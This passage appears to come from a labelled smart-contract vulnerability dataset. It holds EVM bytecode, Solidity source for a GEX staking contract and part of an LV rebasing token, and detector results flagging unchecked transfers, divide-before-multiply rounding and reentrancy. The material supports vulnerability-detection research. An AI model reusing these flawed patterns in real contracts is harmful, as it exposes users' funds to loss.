0x608060405234801561001057600080fd5b50600436106100625760003560e01c806322a013351461006757806337f243b3146100e9578063545f1f941461011d57806371ca337d146101515780638119c0651461016f5780638da5cb5b1461018d575b600080fd5b6100d36004803603606081101561007d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506101c1565b6040518082815260200191505060405180910390f35b6100f16102f8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61012561031c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610159610342565b6040518082815260200191505060405180910390f35b610177610348565b6040518082815260200191505060405180910390f35b6101956105e3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610269576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180610690602d913960400191505060405180910390fd5b836000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550816003819055509392505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156103d457600080fd5b505afa1580156103e8573d6000803e3d6000fd5b505050506040513d60208110156103fe57600080fd5b81019080805190602001909291905050509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156104c257600080fd5b505af11580156104d6573d6000803e3d6000fd5b505050506040513d60208110156104ec57600080fd5b81019080805190602001909291905050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb336105506003548561060990919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156105a357600080fd5b505af11580156105b7573d6000803e3d6000fd5b505050506040513d60208110156105cd57600080fd5b8101908080519060200190929190505050505090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008083141561061c5760009050610689565b600082840290508284828161062d57fe5b0414610684576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806106bd6021913960400191505060405180910390fd5b809150505b9291505056fe20596f7520617265206e6f7420616c6c6f77656420746f206578656375746520746869732066756e6374696f6e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212207d55e24c9aa38d366b0f606230f3979ead1cf5988e6ae9a3ee336dd85bc2f4e964736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 3,303 |
0x6898c351f35e3ff265bbae5490bd5cac2b09a345
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
// ----------------------------------------------------------------------------
// 'GEX' Staking smart contract
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// SafeMath library
// ----------------------------------------------------------------------------
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Stake is Owned {
using SafeMath for uint256;
address public GEX = 0x03282f2D7834a97369Cad58f888aDa19EeC46ab6;
uint256 public totalStakes = 0;
uint256 stakingFee = 25; // 2.5%
uint256 unstakingFee = 25; // 2.5%
uint256 public totalDividends = 0;
uint256 private scaledRemainder = 0;
uint256 private scaling = uint256(10) ** 12;
uint public round = 1;
struct USER{
uint256 stakedTokens;
uint256 lastDividends;
uint256 fromTotalDividend;
uint round;
uint256 remainder;
}
mapping(address => USER) stakers;
mapping (uint => uint256) public payouts; // keeps record of each payout
event STAKED(address staker, uint256 tokens, uint256 stakingFee);
event UNSTAKED(address staker, uint256 tokens, uint256 unstakingFee);
event PAYOUT(uint256 round, uint256 tokens, address sender);
event CLAIMEDREWARD(address staker, uint256 reward);
// ------------------------------------------------------------------------
// Token holders can stake their tokens using this function
// @param tokens number of tokens to stake
// ------------------------------------------------------------------------
function STAKE(uint256 tokens) external {
require(IERC20(GEX).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account");
uint256 _stakingFee = 0;
if(totalStakes > 0)
_stakingFee= (onePercent(tokens).mul(stakingFee)).div(10);
if(totalStakes > 0)
// distribute the staking fee accumulated before updating the user's stake
_addPayout(_stakingFee);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedTokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.add(tokens.sub(_stakingFee));
emit STAKED(msg.sender, tokens.sub(_stakingFee), _stakingFee);
}
// ------------------------------------------------------------------------
// Owners can send the funds to be distributed to stakers using this function
// @param tokens number of tokens to distribute
// ------------------------------------------------------------------------
function ADDFUNDS(uint256 tokens) external {
require(IERC20(GEX).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account");
_addPayout(tokens);
}
// ------------------------------------------------------------------------
// Private function to register payouts
// ------------------------------------------------------------------------
function _addPayout(uint256 tokens) private{
// divide the funds among the currently staked tokens
// scale the deposit and add the previous remainder
uint256 available = (tokens.mul(scaling)).add(scaledRemainder);
uint256 dividendPerToken = available.div(totalStakes);
scaledRemainder = available.mod(totalStakes);
totalDividends = totalDividends.add(dividendPerToken);
payouts[round] = payouts[round-1].add(dividendPerToken);
emit PAYOUT(round, tokens, msg.sender);
round++;
}
// ------------------------------------------------------------------------
// Stakers can claim their pending rewards using this function
// ------------------------------------------------------------------------
function CLAIMREWARD() public {
if(totalDividends > stakers[msg.sender].fromTotalDividend){
uint256 owing = pendingReward(msg.sender);
owing = owing.add(stakers[msg.sender].remainder);
stakers[msg.sender].remainder = 0;
require(IERC20(GEX).transfer(msg.sender,owing), "ERROR: error in sending reward from contract");
emit CLAIMEDREWARD(msg.sender, owing);
stakers[msg.sender].lastDividends = owing; // unscaled
stakers[msg.sender].round = round; // update the round
stakers[msg.sender].fromTotalDividend = totalDividends; // scaled
}
}
// ------------------------------------------------------------------------
// Get the pending rewards of the staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function pendingReward(address staker) private returns (uint256) {
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
stakers[staker].remainder += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return amount;
}
function getPendingReward(address staker) public view returns(uint256 _pendingReward) {
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
amount += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return (amount + stakers[staker].remainder);
}
// ------------------------------------------------------------------------
// Stakers can un stake the staked tokens using this function
// @param tokens the number of tokens to withdraw
// ------------------------------------------------------------------------
function WITHDRAW(uint256 tokens) external {
require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw");
uint256 _unstakingFee = (onePercent(tokens).mul(unstakingFee)).div(10);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
require(IERC20(GEX).transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens");
stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.sub(tokens);
if(totalStakes > 0)
// distribute the un staking fee accumulated after updating the user's stake
_addPayout(_unstakingFee);
emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Get the number of tokens staked by a staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function yourStakedGEX(address staker) external view returns(uint256 stakedGEX){
return stakers[staker].stakedTokens;
}
// ------------------------------------------------------------------------
// Get the GEX balance of the token holder
// @param user the address of the token holder
// ------------------------------------------------------------------------
function yourGEXBalance(address user) external view returns(uint256 GEXBalance){
return IERC20(GEX).balanceOf(user);
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80638da5cb5b1161008c578063bf9befb111610066578063bf9befb1146101ea578063c9a9f741146101f2578063ca84d59114610218578063f2fde38b14610235576100ea565b80638da5cb5b146101bd578063997664d7146101c5578063b53d6c24146101cd576100ea565b80632c75bcda116100c85780632c75bcda1461014c5780634baf782e1461016b5780634df9d6ba146101735780635d83a34e14610199576100ea565b8063146ca531146100ef578063200ba4541461010957806329652e861461012f575b600080fd5b6100f761025b565b60408051918252519081900360200190f35b6100f76004803603602081101561011f57600080fd5b50356001600160a01b0316610261565b6100f76004803603602081101561014557600080fd5b50356102e4565b6101696004803603602081101561016257600080fd5b50356102f6565b005b61016961057c565b6100f76004803603602081101561018957600080fd5b50356001600160a01b0316610702565b6101a16107d8565b604080516001600160a01b039092168252519081900360200190f35b6101a16107e7565b6100f76107f6565b610169600480360360208110156101e357600080fd5b50356107fc565b6100f76108c9565b6100f76004803603602081101561020857600080fd5b50356001600160a01b03166108cf565b6101696004803603602081101561022e57600080fd5b50356108ea565b6101696004803603602081101561024b57600080fd5b50356001600160a01b0316610aa7565b60085481565b600154604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156102b257600080fd5b505afa1580156102c6573d6000803e3d6000fd5b505050506040513d60208110156102dc57600080fd5b505192915050565b600a6020526000908152604090205481565b3360009081526009602052604090205481118015906103155750600081115b610366576040805162461bcd60e51b815260206004820181905260248201527f496e76616c696420746f6b656e20616d6f756e7420746f207769746864726177604482015290519081900360640190fd5b6000610394600a61038860045461037c86610b09565b9063ffffffff610b4016565b9063ffffffff610ba216565b905060006103a133610be4565b3360008181526009602052604090206004018054830190556001549192506001600160a01b039091169063a9059cbb906103db8686610cbc565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561042a57600080fd5b505af115801561043e573d6000803e3d6000fd5b505050506040513d602081101561045457600080fd5b50516104a7576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b336000908152600960205260409020546104c7908463ffffffff610cbc16565b3360009081526009602052604090209081556001810182905560055460028083019190915560085460039092019190915554610509908463ffffffff610cbc16565b60028190551561051c5761051c82610cfe565b7faeb913af138cc126643912346d844a49a83761eb58fcfc9e571fc99e1b3d9fa23361054e858563ffffffff610cbc16565b604080516001600160a01b0390931683526020830191909152818101859052519081900360600190a1505050565b3360009081526009602052604090206002015460055411156107005760006105a333610be4565b336000908152600960205260409020600401549091506105ca90829063ffffffff610def16565b3360008181526009602090815260408083206004908101849055600154825163a9059cbb60e01b8152918201959095526024810186905290519495506001600160a01b039093169363a9059cbb93604480820194918390030190829087803b15801561063557600080fd5b505af1158015610649573d6000803e3d6000fd5b505050506040513d602081101561065f57600080fd5b505161069c5760405162461bcd60e51b815260040180806020018281038252602c815260200180610fff602c913960400191505060405180910390fd5b604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a1336000908152600960205260409020600181019190915560085460038201556005546002909101555b565b6007546001600160a01b03821660009081526009602090815260408083208054600390910154600019018452600a90925282205460055492938493610757939192610388929161037c9163ffffffff610cbc16565b6007546001600160a01b03851660009081526009602090815260408083208054600390910154600019018452600a9092529091205460055493945091926107a89261037c919063ffffffff610cbc16565b816107af57fe5b6001600160a01b0394909416600090815260096020526040902060040154930601909101919050565b6001546001600160a01b031681565b6000546001600160a01b031681565b60055481565b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561085657600080fd5b505af115801561086a573d6000803e3d6000fd5b505050506040513d602081101561088057600080fd5b50516108bd5760405162461bcd60e51b815260040180806020018281038252603081526020018061107a6030913960400191505060405180910390fd5b6108c681610cfe565b50565b60025481565b6001600160a01b031660009081526009602052604090205490565b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561094457600080fd5b505af1158015610958573d6000803e3d6000fd5b505050506040513d602081101561096e57600080fd5b50516109ab5760405162461bcd60e51b815260040180806020018281038252602e81526020018061104c602e913960400191505060405180910390fd5b600254600090156109cd576109ca600a61038860035461037c86610b09565b90505b600254156109de576109de81610cfe565b60006109e933610be4565b3360009081526009602052604090206004810180548301905554909150610a2690610a1a858563ffffffff610cbc16565b9063ffffffff610def16565b336000908152600960205260409020908155600181018290556005546002820155600854600390910155610a72610a63848463ffffffff610cbc16565b6002549063ffffffff610def16565b6002557f99b6f4b247a06a3dbcda8d2244b818e254005608c2455221a00383939a119e7c3361054e858563ffffffff610cbc16565b6000546001600160a01b03163314610abe57600080fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b600080610b1d83606463ffffffff610e4916565b90506000610b3861271061038884606463ffffffff610b4016565b949350505050565b600082610b4f57506000610b9c565b82820282848281610b5c57fe5b0414610b995760405162461bcd60e51b815260040180806020018281038252602181526020018061102b6021913960400191505060405180910390fd5b90505b92915050565b6000610b9983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e63565b6007546001600160a01b03821660009081526009602090815260408083208054600390910154600019018452600a90925282205460055492938493610c39939192610388929161037c9163ffffffff610cbc16565b6007546001600160a01b03851660009081526009602090815260408083208054600390910154600019018452600a909252909120546005549394509192610c8a9261037c919063ffffffff610cbc16565b81610c9157fe5b6001600160a01b03949094166000908152600960205260409020600401805491909406019092555090565b6000610b9983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f05565b6000610d1b600654610a1a60075485610b4090919063ffffffff16565b90506000610d3460025483610ba290919063ffffffff16565b9050610d4b60025483610f5f90919063ffffffff16565b600655600554610d61908263ffffffff610def16565b600555600854600019016000908152600a6020526040902054610d8a908263ffffffff610def16565b600880546000908152600a602090815260409182902093909355905481519081529182018590523382820152517fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b69181900360600190a1505060088054600101905550565b600082820183811015610b99576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000818260018486010381610e5a57fe5b04029392505050565b60008183610eef5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610eb4578181015183820152602001610e9c565b50505050905090810190601f168015610ee15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610efb57fe5b0495945050505050565b60008184841115610f575760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610eb4578181015183820152602001610e9c565b505050900390565b6000610b9983836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f000000000000000081525060008183610feb5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610eb4578181015183820152602001610e9c565b50828481610ff557fe5b0694935050505056fe4552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e7472616374536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2066756e646572206163636f756e74a2646970667358221220ead834f9586e65cf81fd850a6ecde41bcb11843d131098b5ec857000ca0f4d8d64736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,304 |
0xa77f34bde382522cd3fb3096c480d15e525aab22
|
pragma solidity 0.5.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract LVTokenStorage {
using SafeMath for uint256;
bool internal _notEntered;
string public name;
string public symbol;
uint8 public decimals;
address public gov;
address public pendingGov;
address public rebaser;
address public incentivizer;
uint256 public totalSupply;
uint256 public constant internalDecimals = 10**24;
uint256 public constant BASE = 10**18;
uint256 public lvsScalingFactor;
mapping (address => uint256) internal _lvBalances;
mapping (address => mapping (address => uint256)) internal _allowedFragments;
uint256 public initSupply;
}
contract LVGovernanceStorage {
mapping (address => address) internal _delegates;
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
mapping (address => uint32) public numCheckpoints;
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
mapping (address => uint) public nonces;
}
contract LVTokenInterface is LVTokenStorage, LVGovernanceStorage {
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
event Rebase(uint256 epoch, uint256 prevLvsScalingFactor, uint256 newLvsScalingFactor);
event NewPendingGov(address oldPendingGov, address newPendingGov);
event NewGov(address oldGov, address newGov);
event NewRebaser(address oldRebaser, address newRebaser);
event NewIncentivizer(address oldIncentivizer, address newIncentivizer);
event Transfer(address indexed from, address indexed to, uint amount);
event Approval(address indexed owner, address indexed spender, uint amount);
event Mint(address to, uint256 amount);
function transfer(address to, uint256 value) external returns(bool);
function transferFrom(address from, address to, uint256 value) external returns(bool);
function balanceOf(address who) external view returns(uint256);
function balanceOfUnderlying(address who) external view returns(uint256);
function allowance(address owner_, address spender) external view returns(uint256);
function approve(address spender, uint256 value) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
function maxScalingFactor() external view returns (uint256);
function getPriorVotes(address account, uint blockNumber) external view returns (uint256);
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external;
function delegate(address delegatee) external;
function delegates(address delegator) external view returns (address);
function getCurrentVotes(address account) external view returns (uint256);
function mint(address to, uint256 amount) external returns (bool);
function rebase(uint256 epoch, uint256 indexDelta, bool positive) external returns (uint256);
function _setRebaser(address rebaser_) external;
function _setIncentivizer(address incentivizer_) external;
function _setPendingGov(address pendingGov_) external;
function _acceptGov() external;
}
contract LVGovernanceToken is LVTokenInterface {
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name)),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "LV::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "LV::delegateBySig: invalid nonce");
require(now <= expiry, "LV::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "LV::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = _lvBalances[delegator]; // balance of underlying LVs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "LV::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
contract LVToken is LVGovernanceToken {
modifier onlyGov() {
require(msg.sender == gov);
_;
}
modifier onlyRebaser() {
require(msg.sender == rebaser);
_;
}
modifier onlyMinter() {
require(msg.sender == rebaser || msg.sender == incentivizer || msg.sender == gov, "not minter");
_;
}
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
function initialize(
string memory name_,
string memory symbol_,
uint8 decimals_
)
public
{
require(lvsScalingFactor == 0, "already initialized");
name = name_;
symbol = symbol_;
decimals = decimals_;
}
function maxScalingFactor()
external
view
returns (uint256)
{
